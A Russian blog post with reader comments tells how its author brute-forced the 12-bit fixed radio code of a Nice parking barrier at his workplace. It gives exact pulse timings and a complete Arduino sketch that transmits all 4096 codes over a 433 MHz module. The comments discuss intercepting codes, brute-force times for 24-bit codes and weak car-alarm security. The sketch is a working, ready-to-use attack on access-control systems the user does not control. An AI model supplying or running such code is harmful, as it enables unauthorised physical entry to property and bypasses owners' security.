Всем привет! У меня на работе есть автомобильная парковка. Конечно, цель данной статьи не хвастовство, учитывая тяжелую ситуацию на дорогах с парковочными местами, и не пиар моего руководства о том, что они заботятся о своих сотрудниках (не буду даже упоминать о месте свой работы!), дело совершено не в этом. Суть в том, что мешает любому другому человеку, не имеющему отношения к месту моей работы, припарковаться на этой парковке? А это шлагбаум, ограничивающий въезд и выезд с этой парковки.

И как во многих организациях, вход на мое предприятие осуществляется по обыкновенным пропускам, дабы контролировать меня и всех остальных. Ну и въезд на парковку сделали также, по этим же пропускам. То есть подъезжаешь к парковке, подносишь пропуск к считывателю, он срабатывает, шлагбаум открывается (закрывается автоматически), заезжаешь и все. Так думали они. Но мое увлечение электроникой и природная лень (это ведь каждый раз подъезжать, открывать окно, вытаскивать руку, закрывать окно, а если дождь, а если холодно) пошли против системы.

Итак, ближе к делу. Прежде всего, узнал, что шлагбаум оказался довольно-таки популярной фирмы Nice и начал искать о нем информацию. Однако, несмотря на популярность фирмы производителя, информации о его форматах кодов было очень мало. Выяснилось, что существуют 12-битные и 24-битные форматы кодов. 12-битные более древние, 24-битные – посовременней. Так как я знаю, что шлагбаум на работе стоит давно, решил начать с 12-битных кодов (впоследствии угадал). И так пакет данных состоит из 12 бит. Перед 12-битным кодом идет, так называемый, «пилотный период» и «стартовый импульс». «Пилотный период» состоит из 36 интервалов низкого уровня, «стартовый импульс» состоит из 1 интервала высокого уровня. Один пакет данных состоит из «пилотного периода», за ним «стартовый импульс» и за ним 12-битный код (для каждого шлагбаума свой). Пульты шлагбаумов передают сразу по 4 пакета данных, но я поставил больше, так как очень много устройств работают на данной частоте (в частности автомобильные сигнализации) и возможны помехи. Длительности импульсов для шлагбаумов Nice:

  • Логическая «1» – 1400 мкс низкого уровня (два интервала) и 700 мкс высокого (один интервал)
  • Логический «0» – это 700 мкс низкого уровня (один интервал) и 1400 мкс высокого (один интервал)
  • «Пилотный период» – 25200 мкс (36 интервалов)
  • «Стартовый импульс» – 700 мкс (1 интервал)

Так как пультов от этого шлагбаума ни у меня и ни у кого нет (в таком бы случаем просто можно было считать сигнал с действующего пульта), то угадывать истинный код придется методом перебора всех возможных вариантов, а 4096.

С помощью чего, вообще, все это можно реализовать? Недавнее мое увлечение платформами Arduino, не дали мне долго размышлять над этим вопросом.

Список компонентов:

1. Arduino Uno,



2. Радиопередатчик 433Мгц, самодельная антенна к нему,



3. Батарейка 9 вольт, в народе «Крона».



Данные радиопередатчики в известных китайских магазинах продаются очень дешево (порядка 50 руб.), совместно с радиоприемниками. Они очень простые, три контакта: питание, земля и сигнальный контакт. Питания от 5 до 12 вольт, чем выше напряжение питания, тем лучше дальнобойность. Собственно по этой причине была выбрана 9 вольтовая батарейка. Рекомендованное напряжения питания Arduino Uno от 7 до 12 вольт (контакт Vin), так что «Крона» вполне подходит. Также дальнобойность радиопередатчика зависит от наличия антенны (без нее дальность будет около 1 метра). Весь комплект обошелся порядка 300 руб.

Вот, собственно, и сам скетч для Arduino Uno:

int send_code_pin = 13;
//int send_code = 3061; это код определенный методом перебора для моего шлагбаума
 
void setup()
{
  pinMode(send_code_pin, OUTPUT);
}

void loop ()
{
  for (int send_code = 0; send_code < 4096; send_code++) // этот цикл после того как код определен необходимо убрать
  {
    for (int j = 0; j <7; j++) // достаточно 4-х, но из-за помех поставил 7
    {
      digitalWrite(send_code_pin, HIGH); // стартовый импульс
      delayMicroseconds(700);
      digitalWrite(send_code_pin, LOW);
      for (int i = 12; i > 0; i--)
      {
        boolean bit_code = bitRead(send_code, i - 1);
        if (bit_code)
        {
          digitalWrite(send_code_pin, LOW); // единица
          delayMicroseconds(1400);
          digitalWrite(send_code_pin, HIGH);
          delayMicroseconds(700);
        }
        else
        {
          digitalWrite(send_code_pin, LOW); // ноль
          delayMicroseconds(700);
          digitalWrite(send_code_pin, HIGH);
          delayMicroseconds(1400);
        }
      }
      digitalWrite(send_code_pin, LOW); // пилотный период
      delayMicroseconds(25200);
    }
  }
  //delay(10000); после определения кода поставить задержку
}

Перебор всех возможных вариантов занял около 1 недели, с учетом одного выхода в день к шлагбауму. Методика быстрого выбора правильного кода была очень простой. С помощью команды micros() определил время передачи одного кода. Он составил примерно 0,25 сек. Общее перебора всех вариантов около 17 мин. Перед шлагбаумом запустил Arduino и засек время. Где-то на 12,5 минуте открылся шлагбаум. Исходя из этого, я отбросил сразу первые 2800 вариантов. И так далее. Когда вариантов осталось около 30, после каждой передачи данных ставил задержку в 1 секунду. Так как контакт передачи данных я установил 13-ым (со светодиодом), было видно каждый момент передачи, подсчитал и определил точный код.

Вот и все! В качестве демо — видео вскрытия:


Спасибо за внимание!
Поделиться с друзьями
-->

Комментарии (28)


  1. serafims
    05.10.2016 18:59

    К слову, в 24-битном варианте при 0,25 сек на один код он сбрутится через 48 дней


    1. osipov_dv
      05.10.2016 21:48

      Можно сделать хитрость, и попытатся перехватить код. Только надо тогда собирать еще и приемник.
      Может быть автор соберет и этот вариант? :)


      1. AlexandrYudakov
        05.10.2016 21:48

        Как раз появилась в этом надобность сегодня, буду пытаться))


        1. CmpeJ1ok
          06.10.2016 13:58

          да, я думаю, вам бы облегчело в разы такое устр-во, хотя и по вашей «схеме» вы сумели незатягивать процесс подбора — браво


  1. Akon32
    05.10.2016 21:23

    Не быстрее ли подслушать код?


    1. qwerty1023
      05.10.2016 21:28

      Так как пультов от этого шлагбаума ни у меня и ни у кого нет (в таком бы случаем просто можно было считать сигнал с действующего пульта), то...


  1. qwerty1023
    05.10.2016 21:27

    В смысле никакого KeeLoq? Никакого обучения брелкам? Никаких проверок валидности последовательности? Просто подал какую-то последовательность бит и все?


    1. AlexandrYudakov
      05.10.2016 21:53

      Да, просто последовательность. На работе говорят, он уже больше 10 лет тут стоит, видимо древний.


  1. 3axap4eHko
    05.10.2016 23:06
    +6

    «помигать лампочкой» можно смело заменить на «помахать шлагбаумом»


  1. Kcop
    05.10.2016 23:50

    Закрывается он сам, через какое-то время? Или просто меняет свое текущее состояние при получении идентичного пакета данных?


    1. AlexandrYudakov
      06.10.2016 01:30

      Закрывается сам, где-то через минуту, если под шлагбаумом нет машины.


  1. vorphalack
    06.10.2016 06:52

    интересно, у нас есть два платных участка на трассе мск-спб с подобными шлагбаумами на выезде. будет смешно если к ним тоже по 433 обращаются.


    1. TerrainLife
      06.10.2016 13:59

      433 433-ём рознь) Это же всего лишь частота, вопрос то в протоколе


      1. vorphalack
        07.10.2016 01:30

        кто б спорил — но было б смешно, потому что 500р за проезд химкинской трассы бОльшую часть суток — это, ээ. да в общем по ленинградке жечь бензин дешевле выходит.


      1. AlexandrYudakov
        07.10.2016 15:41

        Протокол это раз, второе возможен (и скорее всего) динамический код, который меняется постояно.


  1. ferosod
    06.10.2016 09:01
    +1

    На прошлой работе мы делали открытие шлагбаума с телефона. Т.к. компания телекоммуникационная, в наличии была куча VoIP шлюзов. Взяли простенький однопортовый, спаяли схемку и подключили одним концом в голосовой шлюз, вместо телефонного аппарата, а другим — припаяли параллельно кнопке открытия шлагбаума (стационарной, на пульте охраны). Звонишь на нужный номер — попадаешь на Asterisk, который звонит на шлюз. Шлюз выдает в выходной порт порядка 20 В, чтобы телефон зазвонил, от этого напряжения открывается выходной транзистор и «замыкает» кнопку шлагбаума — вуаля! А т.к. астериск — можно привязать белые списки, расписание, логи открытия-закрытия и т.д.


  1. Utopia
    06.10.2016 13:59

    Я не понимаю одного — ладно шлагбаум, но почему до сих пор «сканят» автосигнализации?!

    Да там чуть сложнее — но когда у моих знакомых обокрали машину — приехавшие криминалисты сказали сразу — сканер за 10.000$ сканит всё, включая самые-самые сигнализации!

    Мне поразительно — ну есть же сейчас куча open-source систем шифрования открытым (а в нашем случае привязки брелков) лучше закрытым ключем! Скорость контролеров за 3$ мне кажется запросто потянет всю логику. В чем проблема? Заговор?!


    1. woooody
      06.10.2016 14:48

      Пофигизм. Если и так покупают — зачем что-то менять?

      Есть сигнализации, которые не вскрываются ни одним сканером. Почему-то все они российской разработки.


    1. Akon32
      06.10.2016 18:00

      Потому что 99% населения не отличают кодирования от шифрования, а шифрование от авторизации аутентификации.
      Не имеют представления, как просто сделать, а тем более, купить сканер для подслушивания или перебора кода.
      Думают, что такие устройства — нечто редкое и только у секретных агентов и по спецзаказу, "а моя машина никому не нужна".


      А на деле — такая вот кустарщина, и, если профит от взлома превысит околонулевые затраты на устройство...


      Почти никто не в курсе, что проблема с безопасностью есть. В головах древние представления "60-х годов".
      Только просвещение может решить эту проблему. Уроки информатики 21-го века.


  1. 3gee
    06.10.2016 14:00

    Интересно, но всё же почти неделю на перебор потратить как-то долго. Не проще было бы прикупить ещё экран или как другой вариант, прицепить кнопку, нажатие которой останавливает программу и пишет в EEPROM текущий код? Потратили бы чуть-чуть ресурс памяти, но сэкономили бы время.


    1. AlexandrYudakov
      06.10.2016 14:01

      Спасибо за комментраий, Ваше предложение тоже имеет место быть.


  1. navrotskiy
    06.10.2016 14:02

    Можно еще модернизировать схему, повесив кнопку на Ардуино, при нажатии на которую текущий вариант записывается в EEPROM. Потом просто при следующем подключении к компьютеру вывести его значение в монитор порта. Конечно, возможно точную комбинацию сразу и не определить, но мне кажется, так было бы быстрее и удобнее.


    1. AlexandrYudakov
      06.10.2016 14:03

      Честно говоря, у меня не было цели как можно быстрей открыть шлагбаум. В обед выходил на 10 мин к шлагбауму и развлекался. А Ваша идея — хорошая.


    1. Akon32
      06.10.2016 18:09

      Можно и цифровой дисплей добавить для вывода номера кода. Стоит недорого, библиотека для управления подключается за 10 минут. И 2-3 кнопки для управления перебором.


  1. Slym99
    06.10.2016 14:02

    эх… а мой шлагбаум с динамическим кодом…
    и таких все больше и больше


  1. 4robots
    06.10.2016 20:20

    Отлично! Вижу цель, верю в себя!
    В самом задрипаном ардуино — есть пзу, которое можно писать и читать.
    Так что можно было с первого раза код там сохранить как и немного своего времени.


  1. qwerty1023
    07.10.2016 09:22

    Меня не покидает мысль, что что-то тут не так :) Хочу дальнейших исследований от автора :)

    Допустим Nice делает брелки с уникальными серийниками для того, чтобы вашим брелком не открывался шлагбаум соседа. Эти брелки должны прописываться в память контроллера при процедуре обучения брелкам. Для того, чтобы гарантировать, что код с брелка пришел валидный (при обучении, например) он должен быть снабжен какой-то проверкой CRC.

    Получается, что перебором получилось найти либо посылку записанного брелка (а таких, получается, может быть несколько), либо какой-то «мастер-код», который возможно будет одинаковым на всех подобных устройствах. Плюс к этому, если в посылке есть какая-то CRC то перебор можно сократить рассчитывая остальную часть от изменяемой.


  1. Slym99
    09.10.2016 07:56

    динамический код называется keeloq… дубликатов с этим алгоритмом не бывает, точнее дубликат будет до разсинхронизации одного из пультов, а это в среднем 20 нажатий/комманд
    тут чел сделал keeloq на ардуине http://arduinolab.pw/index.php/2016/07/04/radiopult-s-dinamicheskim-keeloq-kodom-na-arduino-kod-iz-video/
    но все равно требуется обучение шлагбаума